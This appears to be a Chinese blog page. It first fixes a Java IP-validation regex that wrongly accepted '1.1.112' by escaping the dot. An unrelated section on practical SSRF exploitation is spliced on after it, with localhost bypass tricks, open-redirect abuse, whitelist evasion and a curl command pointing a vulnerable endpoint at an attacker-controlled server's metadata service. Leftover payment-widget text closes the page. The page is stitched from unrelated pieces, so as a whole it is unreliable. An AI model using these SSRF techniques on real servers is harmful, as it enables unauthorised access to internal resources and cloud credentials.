关于网络上IP地址校验正则表达式的一点缺陷

 网络上常见的代码如下:


static boolean isIpAddress(String s){
        String regex = "(((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d)).(((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d))
.(((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d)).(((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d))";
        Pattern p = Pattern.compile(regex);
        Matcher m = p.matcher(s);
        return m.matches();
    }


经过测试,发现像“1.1.112”这样不合法的IP也可以通过校验
对0~255的校验“((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(
\\d)”,这段代码应该没问题了,问题就出在对“.”的处理上,于是,改成如下:


static boolean isIpAddress(String s){
        String regex = "(((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d))[.](((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d))
[.](((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d))[.](((2[0-4]\\d)|(25[0-5]))|(1\\d{2})|([1-9]\\d)|(\\d))";
        Pattern p = Pattern.compile(regex);
        Matcher m = p.matcher(s);
        return m.matches();
    }


成功!!!  



### SSRF漏洞实战利用方法与技巧 #### 本地主机绕过技术 攻击者常常尝试通过各种方式来访问内部网络资源,即使目标应用试图阻止对`localhost`或其他内网地址的请求。一种常见的方式是使用特殊的域名或IP表示法,比如可以使用`http://localtest.me`或者IPv6环回地址`[::1]`来进行绕过[^4]。 #### 构造恶意URL 为了成功实施SSRF攻击,构造能够被服务器解析并执行预期行为的有效载荷至关重要。这可能涉及到创建特制的HTTP请求字符串,该字符串指向受控环境下的Web服务端口监听器,或者是云存储桶、元数据API等敏感位置。例如: ```bash curl http://example.com/vulnerable_endpoint?url=http://attacker-controlled-server/metadata-service ``` #### 利用开放重定向 如果应用程序存在未加防护的重定向功能,则可以通过提交精心设计的目标链接参数触发间接访问受限资源的行为。这种情况下,尽管原始输入看似无害,但最终可能导致未经授权的数据泄露或命令注入风险增加。 #### 测试同协议和服务 除了标准的HTTP(S),还应考虑其他潜在可利用的服务接口,如FTP, SMB, DNS查询等。某些特定场景下,这些非传统渠道反而更容易成为突破口。对于每种可能性都需进行面测试以发现隐藏的安隐患。 #### 绕过白名单过滤机制 当遇到基于正则表达式的简单黑名单/白名单校验逻辑时,往往能找出边界条件上的缺陷从而实现规避目的。例如,针对只允许指定子域的情况,可通过添加额外路径片段使验证失效;又或是借助通配符特性巧妙组合成合法形式却实际指向非法目的地的URL模式。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值